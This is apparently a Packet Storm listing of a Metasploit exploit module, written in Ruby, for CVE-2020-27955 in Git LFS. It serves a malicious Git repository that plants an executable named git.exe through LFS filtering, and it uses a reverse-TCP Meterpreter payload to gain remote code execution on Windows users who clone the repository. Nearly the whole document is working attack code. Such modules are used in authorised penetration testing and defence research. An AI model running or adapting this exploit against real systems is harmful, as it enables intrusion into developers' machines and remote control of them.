what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Git git-lfs Remote Code Execution

Git git-lfs Remote Code Execution
Posted Sep 16, 2021
Authored by Dawid Golunski, jheysel-r7, space-r7 | Site metasploit.com

This Metasploit modules exploits a critical vulnerability in Git Large File Storage (Git LFS), an open source Git extension for versioning large files, which allows attackers to achieve remote code execution if the Windows-using victim is tricked into cloning the attacker’s malicious repository using a vulnerable Git version control tool.

tags | exploit, remote, code execution
systems | windows
advisories | CVE-2020-27955
SHA-256 | aa2d400dab7c8721b2c5166ed34cccd536045aa8292ad9a6b5fb2e07509a8b9e

Git git-lfs Remote Code Execution

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

Rank = ExcellentRanking

include Msf::Exploit::Git
include Msf::Exploit::Git::Lfs
include Msf::Exploit::Git::SmartHttp
include Msf::Exploit::Remote::HttpServer
include Msf::Exploit::FileDropper
include Msf::Exploit::EXE

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Git Remote Code Execution via git-lfs (CVE-2020-27955)',
'Description' => %q{
A critical vulnerability (CVE-2020-27955) in Git Large File Storage (Git LFS), an open source Git extension for
versioning large files, allows attackers to achieve remote code execution if the Windows-using victim is tricked
into cloning the attacker’s malicious repository using a vulnerable Git version control tool
},
'Author' => [
'Dawid Golunski ', # Discovery
'space-r7', # Guidance, git mixins
'jheysel-r7' # Metasploit module
],
'References' => [
['CVE', '2020-27955'],
['URL', 'https://www.helpnetsecurity.com/2020/11/05/cve-2020-27955/']
],
'DisclosureDate' => '2020-11-04', # Public disclosure
'License' => MSF_LICENSE,
'Platform' => 'win',
'Arch' => [ARCH_X86, ARCH_X64],
'Privileged' => true,
'Targets' => [
[
'Git LFS <= 2.12',
{
'Platform' => ['win']
}
]
],
'DefaultTarget' => 0,
'DefaultOptions' => {
'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp',
'WfsDelay' => 10
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [
ARTIFACTS_ON_DISK
]
}
)
)

register_options([
OptString.new('GIT_URI', [ false, 'The URI to use as the malicious Git instance (empty for random)', '' ])
])
deregister_options('RHOSTS')
end

def setup_repo_structure
payload_fname = 'git.exe'
@hook_payload = generate_payload_exe

ptr_file = generate_pointer_file(@hook_payload)
git_payload_ptr = GitObject.build_blob_object(ptr_file)

git_attr_fname = '.gitattributes'
git_attr_content = "#{payload_fname} filter=lfs diff=lfs merge=lfs"
git_attr_obj = GitObject.build_blob_object(git_attr_content)

register_dir_for_cleanup('.git')
register_files_for_cleanup(git_attr_fname)

# root of repository
tree_ent =
[
{
mode: '100644',
file_name: git_attr_fname,
sha1: git_attr_obj.sha1
},
{
mode: '100755',
file_name: payload_fname,
sha1: git_payload_ptr.sha1
}
]

tree_obj = GitObject.build_tree_object(tree_ent)
commit = GitObject.build_commit_object(tree_sha1: tree_obj.sha1)

@git_objs =
[
commit, tree_obj, git_attr_obj, git_payload_ptr
]

@refs =
{
'HEAD' => 'refs/heads/master',
'refs/heads/master' => commit.sha1
}
end

#
# Determine whether or not the target is exploitable based on the User-Agent header returned from the client.
# The git version must be equal or less than 2.29.2 while git-lfs needs to be equal or less than 2.12.0 to be
# exploitable by this vulnerability.
#
# Returns +true+ if the target is suitable, else fail_with descriptive message
#
def target_suitable?(user_agent)
info = fingerprint_user_agent(user_agent)
if info[:ua_name] == Msf::HttpClients::UNKNOWN
fail_with(Failure::NoTarget, "The client's User-Agent string was unidentifiable: #{info}. The client needs to clone the malicious repo on windows with a git version less than 2.29.0")
end

if info[:os_name] == 'Windows' &&
((info[:ua_name] == Msf::HttpClients::GIT && Rex::Version.new(info[:ua_ver]) <= Rex::Version.new('2.29.2')) ||
(info[:ua_name] == Msf::HttpClients::GIT_LFS && Rex::Version.new(info[:ua_ver]) <= Rex::Version.new('2.12')))
true
else
fail_with(Failure::NotVulnerable, "The git client needs to be running on Windows with a version equal or less than 2.29.2 while git-lfs needs to be equal or less than 2.12.0. The user agent, #{info[:ua_name]}, found was running on, #{info[:os_name]} and was at version: #{info[:ua_ver]}")
end
end

def on_request_uri(cli, req)
target_suitable?(req.headers['User-Agent'])
if req.uri.include?('git-upload-pack')
request = Msf::Exploit::Git::SmartHttp::Request.parse_raw_request(req)
case request.type
when 'ref-discovery'
response = send_refs(request)
when 'upload-pack'
response = send_requested_objs(request)
else
fail_with(Failure::UnexpectedReply, 'Git client did not send a valid request')
end
else
response = handle_lfs_objects(req, @hook_payload, @git_addr)
unless response.code == 200
cli.send_response(response)
fail_with(Failure::UnexpectedReply, 'Failed to respond to Git client\'s LFS request')
end
end
cli.send_response(response)
end

def create_git_uri
"/#{Faker::App.name.downcase}.git".gsub(' ', '-')
end

def primer
@git_repo_uri = datastore['GIT_URI'].empty? ? create_git_uri : datastore['GIT_URI']
@git_addr = URI.parse(get_uri).merge(@git_repo_uri)
print_status("Git repository to clone: #{@git_addr}")
hardcoded_uripath(@git_repo_uri)
hardcoded_uripath("/#{Digest::SHA256.hexdigest(@hook_payload)}")
end

def handle_lfs_objects(req, hook_payload, git_addr)
git_hook_obj = GitObject.build_blob_object(hook_payload)

case req.method
when 'POST'
print_status('Sending payload data...')
response = get_batch_response(req, git_addr, git_hook_obj)
fail_with(Failure::UnexpectedReply, 'Client request was invalid') unless response
when 'GET'
print_status('Sending LFS object...')
response = get_requested_obj_response(req, git_hook_obj)
fail_with(Failure::UnexpectedReply, 'Client sent invalid request') unless response
else
fail_with(Failure::UnexpectedReply, 'Unable to handle client\'s request')
end

response
end

def send_refs(req)
fail_with(Failure::UnexpectedReply, 'Git client did not perform a clone') unless req.service == 'git-upload-pack'

response = get_ref_discovery_response(req, @refs)
fail_with(Failure::UnexpectedReply, 'Failed to build a proper response to the ref discovery request') unless response

response
end

def send_requested_objs(req)
upload_pack_resp = get_upload_pack_response(req, @git_objs)
unless upload_pack_resp
fail_with(Failure::UnexpectedReply, 'Could not generate upload-pack response')
end

upload_pack_resp
end

def exploit
setup_repo_structure
super
end
end
Login or Register to add favorites

File Archive:

June 2022

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jun 1st
    19 Files
  • 2
    Jun 2nd
    16 Files
  • 3
    Jun 3rd
    28 Files
  • 4
    Jun 4th
    0 Files
  • 5
    Jun 5th
    0 Files
  • 6
    Jun 6th
    19 Files
  • 7
    Jun 7th
    23 Files
  • 8
    Jun 8th
    11 Files
  • 9
    Jun 9th
    10 Files
  • 10
    Jun 10th
    4 Files
  • 11
    Jun 11th
    0 Files
  • 12
    Jun 12th
    0 Files
  • 13
    Jun 13th
    0 Files
  • 14
    Jun 14th
    0 Files
  • 15
    Jun 15th
    0 Files
  • 16
    Jun 16th
    0 Files
  • 17
    Jun 17th
    0 Files
  • 18
    Jun 18th
    0 Files
  • 19
    Jun 19th
    27 Files
  • 20
    Jun 20th
    65 Files
  • 21
    Jun 21st
    10 Files
  • 22
    Jun 22nd
    8 Files
  • 23
    Jun 23rd
    6 Files
  • 24
    Jun 24th
    6 Files
  • 25
    Jun 25th
    0 Files
  • 26
    Jun 26th
    0 Files
  • 27
    Jun 27th
    15 Files
  • 28
    Jun 28th
    14 Files
  • 29
    Jun 29th
    0 Files
  • 30
    Jun 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Hosting By
Rokasec
close